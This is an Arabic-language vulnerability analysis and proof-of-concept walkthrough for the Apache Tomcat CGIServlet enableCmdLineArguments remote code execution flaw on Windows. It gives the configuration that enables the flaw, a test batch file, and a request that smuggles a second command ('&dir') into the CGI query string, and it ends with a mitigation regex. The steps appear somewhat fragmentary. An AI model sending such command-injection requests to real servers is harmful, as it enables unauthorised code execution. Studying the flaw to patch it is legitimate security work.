
تحليل الثغرات الأمنية وPoC لثغرة Apache Tomcat - CGIServlet enableCmdLineArguments المتعلقة بتنفيذ التعليمات البرمجية عن بُعد (RCE)
تحليل الثغرة وإثبات المفهوم (PoC) لـ Apache Tomcat - CGIServlet enableCmdLineArguments لتنفيذ الأكواد عن بُعد (RCE)
فيديو الإثبات المفاهيمي (PoC) متاح على https://www.youtube.com/watch?v=RA7kzuHOWqA
يحتوي Apache Tomcat على ثغرة أمنية في CGI Servlet، والتي يمكن استغلالها لتحقيق تنفيذ الأكواد عن بُعد (RCE). يمكن استغلال هذه الثغرة فقط عند التشغيل على Windows بإعدادات غير افتراضية مع ملفات دفعية (batch files). واجهة البوابة المشتركة (CGI) هي بروتوكول قياسي يسمح لخوادم الويب بتنفيذ برامج/نصوص عبر طلبات الويب. يتيح هذا البروتوكول أيضًا تمرير وسائط سطر الأوامر إلى النص أو البرنامج الذي يتم تنفيذه عبر معاملات URL. البروتوكول نفسه مُعرَّف في RFC 3875. عند التشغيل على Windows مع تفعيل enableCmdLineArguments، يكون CGI Servlet في Apache Tomcat عرضة لثغرة RCE بسبب خلل في كيفية تمرير JRE لوسائط سطر الأوامر إلى Windows. يكون CGI Servlet معطلًا افتراضيًا. كما أن خيار CGI enableCmdLineArguments معطل افتراضيًا في Tomcat 9.0.x (وسيتم تعطيله افتراضيًا في جميع الإصدارات استجابةً لهذه الثغرة).
فيديو الإثبات المفاهيمي (PoC) متاح على https://www.youtube.com/watch?v=RA7kzuHOWqA
a. عدّل ملف conf/context.xml واجعل <Context privileged="true">

b. قم بإجراء التغييرات التالية في ملف /conf/web.xml بالقرب من السطرين 366 و420 على التوالي.

يجب أن تكون قيمة enableCmdLineArguments هي true لأننا نستخدم Tomcat 9.
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
webapps\ROOT\WEB-INF\cgi وأضف ملفًا باسم ism.bat يحتوي على ما يلي:
@echo off
echo Content-Type: text/plain
echo .
http://localhost:8080/cgi/ism.bat?&dir للتحقق من أن الخادم يعمل.
cve-2019-0232.py وأضف عنوان IP للمخدم والمنفذ فيه.
رابط فيديو PoC: https://www.youtube.com/watch?v=RA7kzuHOWqA
[[a-zA-Z0-9\Q-_.\\/:\E]+] لمنع تنفيذ المدخلات كأوامر على أنظمة Windows.